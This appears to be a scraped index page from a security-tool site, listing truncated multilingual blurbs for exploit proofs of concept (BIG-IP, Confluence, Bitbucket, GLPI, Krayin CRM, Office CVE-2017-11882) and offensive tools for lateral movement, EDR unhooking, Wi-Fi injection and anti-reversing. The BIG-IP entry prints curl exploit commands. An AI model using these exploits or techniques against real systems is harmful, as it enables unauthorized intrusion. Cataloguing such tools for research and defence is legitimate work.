CVE-2026-18577

cve-id تبرع ادعم صيانة هذا المشروع عبر PayPal أو بمسح رمز QR أدناه. ⚡ الاستخدام البسيط استخدم هذا المشروع فقط في بيئات آمنة ومصرح بها مثل: الأجهزة الافتراضية المحلية حاويات Docker إعدادات المختبرات المعزولة بيئات اختبار الاختراق المصرح بها مثال على الإعداد: root@kitploit: git clone cd Project use...

sandboxec

sandboxec Eine leichte Befehls-Sandbox für Linux, basierend auf Landlock. Kein Daemon. Kein Root. Kein Image-Build-Schritt. Verwenden Sie es, um riskante Befehle mit einem engeren Schadensradius auszuführen: Drittanbieter-CLIs, unvertrauenswürdige Skripte, generierter Code und einmalige Werkzeuge...

sylkie

sylkie A command line tool and library for testing networks for common address spoofing security vulnerabilities in IPv6 networks using the Neighbor Discovery Protocol. Getting Started Note: This project is still in the early phases of development. If you run into any problems, please consider...

CVE-2021-22986-Poc

CVE-2021-22986-Poc Este é um Poc para BIGIP iControl RCE não autenticado POC : curl -ksu admin:redacted https://192.168.123.134/mgmt/tm/access/bundle-install-tasks -d '"filePath":"id"' | jq . curl -ksu : https://192.168.123.134/mgmt/shared/authn/login -d...

CVE-2017-11882

Эксплойт CVE-2017-11882 Эксплойт CVE-2017-11882 принимает команду/код длиной до 17 тысяч байт. Для удаленного выполнения команд этот эксплойт вызывает WinExec с флагом SWHIDE и вызывает ExitProcess после возврата из WinExec. Для удаленного выполнения кода этот эксплойт просто переходит jmp на код...

CVE-2022-26134

Confluence - Execução Remota de Código Pré-Autenticação via Injeção OGNL CVE-2022-26134 Confluence - Execução Remota de Código Pré-Autenticação via Injeção OGNL CVE-2022-26134 Em 02 de junho de 2022, a Atlassian publicou um aviso de segurança para seus aplicativos Confluence Server e Data Center,...

TChopper

TChopper New technique I have discovered recently and give it a nickname Chop chop to perform lateral movement using windows services display name and WMI by smuggling the malicious binary as base64 chunks and automate the process using the TChopper tool. image How it works the tool will get the...

CVE-2022-36804

CVE-2022-36804 PoC 이 저장소는 최근 BitBucket 원격 코드 실행 취약점 CVE-2022-36804에 대한 간단한 개념 증명 익스플로잇을 포함하고 있습니다. 이 취약점을 악용하려면 대상 인스턴스의 저장소에 접근할 수 있어야 하며, 자격 증명이 없으면 대상에 공개 저장소가 있어야 합니다. 사용법 root@kitploit: usage: exploit.py -h -p PROJECT -r REPO -u URL -c COMMAND --proxy PROXY --session SESSION --check Exploits...

CVE-2026-54121

cve-id 기부 이 프로젝트의 유지 관리를 PayPal 또는 아래 QR 코드 스캔으로 지원해 주세요. ⚡ 간단한 사용법 이 프로젝트는 다음과 같은 안전하고 승인된 환경에서만 사용하세요: 로컬 가상 머신 Docker 컨테이너 격리된 실험실 설정 승인된 침투 테스트 환경 예제 설정: root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv venv Activate the virtual environme...

CVE-2026-38526-KrayinCRM-RCE

CVE-2026-38526 - Krayin CRM RCE 제작: infrar3d 이것은 Krayin CRM v2.2.x오픈 소스 고객 관계 관리 시스템를 위해 특별히 설계된 원격 코드 실행RCE 개념 증명입니다. 이 스크립트는 CRM 관리 인터페이스의 파일 업로드 취약점을 자동으로 악용하여 대상 서버에서 원격 명령 실행을 달성합니다. Usage: root@kitploit: python3 CVE-2026-38526.py --help usage: CVE-2026-38526.py -h -rh RHOST -u USERNAME -p...

WaSonar

Disclaimer : This tool is for educational purposes and security research only. The developers are not responsible for misuse. Please use responsibly and ethically. WaSonar is a powerful CLI tool designed for educational research, device tracking, and stress testing on the WhatsApp protocol. Built...

dawgmon

dawgmon - Dawg the Hallway Monitor SUMMARY The name of this tool is based upon an episode season 10, episode 10 of South Park in which Cartman is Dawg the Hallway Monitor patrolling the hallways of his school. It's a tool which helps one to monitor changes which have taken place on a Linux-based...

rustdllproxy

rustdllproxy Windowsアプリケーション向けのプロキシDLLを簡単に生成・開発するためのRustクレートユーティリティ。 インストール root@kitploit: cargo install rustdllproxy 互換性 このクレートは現在、標準のDLL PE形式のみをサポートしています。 現在の制限事項 カスタムコードで関数をフックする場合、関数シグネチャを把握している必要があります これは、Ghidra などの逆アセンブラやリバースエンジニアリングツールを使用して確認できます。 コマンド Rustdllproxy には2つのサブコマンドが用意されています:...

SharpSCOM

SharpSCOM Microsoft System Center Operations Manager（SCOM）と連携するためのCツールです。 このツールは、SCOMサーバーバージョン 10.22.10118.0 に対してテスト済みです。 SSPI統合は、BSD-2ライセンスで公開されているKevin Thompson（antiduh）による nsspi ライブラリを介して提供されます。 コマンドラインの使用法 root@kitploit: █▀ █ █ ▄▀█ █▀█ █▀█ █▀ █▀▀ █▀█ █▀▄▀█ ▄█ █▀█ █▀█ █▀▄ █▀▀ ▄█ █▄▄ █▄█ █ ▀ █...

flipperzero-firmware

Flipper Zero ファームウェア Flipper Zero 公式ウェブサイト - Flipper Zero ができることを友達に簡単に説明できる方法。 Flipper Zero ファームウェアアップデート - あなたのイルカのための改良: 最新のファームウェアリリース、PC およびモバイルデバイス用のアップグレードツール。 ユーザードキュメント - あなたのイルカについてもっと学ぶ: 仕様、使用ガイド、そして知りたいことすべて。 開発者向けドキュメント - Flipper Zero ファームウェアのソースコードを深く掘り下げる: ビルドシステム、ファームウェア構造など。...

unhook-bof

これは、DLLをリフレッシュしてフックを除去するためのBeacon Object Fileです。コードはCylanceのUniversal Unhooking研究に基づいています: https://blogs.blackberry.com/en/2017/02/universal-unhooking-blinding-security-software 使用方法: Cobalt Strike - Script Manager から unhook.cna を Cobalt Strike に読み込みます Beacon から 'unhook' を実行します ビルド方法: x86: Visual...

airpwn-ng

Concept airpwn-ng is a framework for 802.11 wireless packet injection. It sniffs for wireless packets and if the data matches a specified trigger, custom content is injected. From the perspective of the wireless client, airpwn-ng is the server. airpwn-ng is based on the concepts laid out in Airpw...

CVE-2022-35914-poc

CVE-2022-35914 PoC Referências https://github.com/glpi-project/glpi/security/advisories/GHSA-c5gx-789q-5pcr Uso root@kitploit: pip install -r requirements.txt root@kitploit: ./CVE-2022-35914.py -h usage: CVE-2022-35914.py -h -u URL -c CMD -f HOOK --check --user-agent USERAGENT CVE-2022-35914 - GL...

marfil

Marfil Marfil is an extension of the Aircrack-ng suite, used to assess WiFi network security. It allows to split the work of performing long running dictionary attacks among many computers. Motivation The Aircrack-ng suite provides the aircrack-ng tool, which is a 802.11 WEP and WPA/WPA2-PSK key...

NullSection

NullSection NullSection ist ein Anti-Reversing-Tool, das eine Technik anwendet, bei der der Section-Header mit Nullbytes überschrieben wird. Installation root@kitploit: git clone https://github.com/MatheuZSecurity/NullSection cd NullSection gcc nullsection.c -o nullsection ./nullsection Vorteil...